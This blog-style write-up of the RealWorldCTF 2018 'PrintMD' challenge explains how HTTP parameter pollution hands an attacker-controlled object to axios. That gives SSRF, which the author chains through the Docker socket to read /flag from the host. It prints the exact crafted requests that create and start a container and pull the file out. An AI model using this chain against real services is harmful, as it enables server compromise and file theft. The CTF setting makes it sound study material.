RealWorldCTF PrintMD writeup
发表于 2018 年 7 月 30 日
Make HackMD printable ._. Link
Hint: If you are not skilled at black-box testing, you need to figure out how PrintMD is compatible with outdated browsers. Flag is in the filesystem /flag
Hint: Here is a render.js for you.
// render.js
const {Router} = require('express')
const {matchesUA} = require('browserslist-useragent')
const router = Router()
const axios = require('axios')
const md = require('../../plugins/md_srv')
router.post('/render', function (req, res, next) {
let ret = {}
ret.ssr = !matchesUA(req.body.ua, {
browsers: ["last 1 version", "> 1%", "IE 10"],
_allowHigherVersions: true
});
if (ret.ssr) {
axios(req.body.url).then(r => {
ret.mdbody = md.render(r.data)
res.json(ret)
})
}
else {
ret.mdbody = md.render('# 请稍候…')
res.json(ret)
}
});
module.exports = router
Comparing the response between IE 8 and Chrome, we can notice that PrintMD rendered the document server side for compatibility with outdated browsers.
And you can identify Nuxt.js from:
- favicon.ico
- a request to non-existing URL
- the directory name
_nuxt
for static files
If you've ever read the guide or try Nuxt.js yourself, you might look for string "asyncData" or "validate" in print.ba84889093b992d33112.js
Those static files are build by webpack without sourcemap. It's very real-world, but the code is still readable with some debug tricks to interpret:
validate: function(e) {
return e.query.url && e.query.url.startsWith("https://hackmd.io/")
},
asyncData: function(ctx) {
if(!ctx.query.url.endsWith("/download")){
ctx.query.url += "/download";
}
ctx.query.ua = ctx.req.headers["user-agent"] || "";
return axios.post("/api/render", qs.stringify({...ctx.query})).then(function(e) {
return {
...e.data,
url: ctx.query.url
}
})
},
mounted: function() {
if (!this.ssr){
axios(this.url).then(function(t) {
this.mdbody = md.render(t.data)
})
}
}
In asyncData part, PrintMD append your user-agent to ctx.query, and send ctx.query to api to judge if your browser deserve a server side rendering.
The problem is qs.stringify({...ctx.query})
and axios(req.body.url)
in render.js. You can pass a object to the api backend by HTTP params pollution. Different with GoogleCTF 2018 bbs, this one will lead you to SSRF. Check here with an IE 8 user-agent for example.
We can execute axios()
with an arbitary Object as arg, but how to read /flag
from the filesystem? axios does not support file://
, but it supports UNIX socket:
The example /var/run/docker.sock
is given, let's just try it:
Now you know how to get the flag:
- docker pull alpine:latest
GET /print?url[method]=post&url[url]=http://127.0.0.1/images/create?fromImage=alpine:latest&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close
- docker create -v /flag:/ggwp alpine --entrypoint "/bin/ls" --name crtest01 alpine:latest
GET /print?url[method]=post&url[url]=http://127.0.0.1/containers/create?name=crtest01&url[data][Image]=alpine:latest&url[data][Volumes][flag][path]=/ggwp&url[data][Binds][]=/flag:/ggwp:ro&url[data][Entrypoint][]=/bin/sh&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close
- docker start crtest01
GET /print?url[method]=post&url[url]=http://127.0.0.1/containers/crtest01/start&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close
- 🏳️🌈
GET /print?url[method]=get&url[url]=http://127.0.0.1/containers/crtest01/archive?path=/ggwp&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close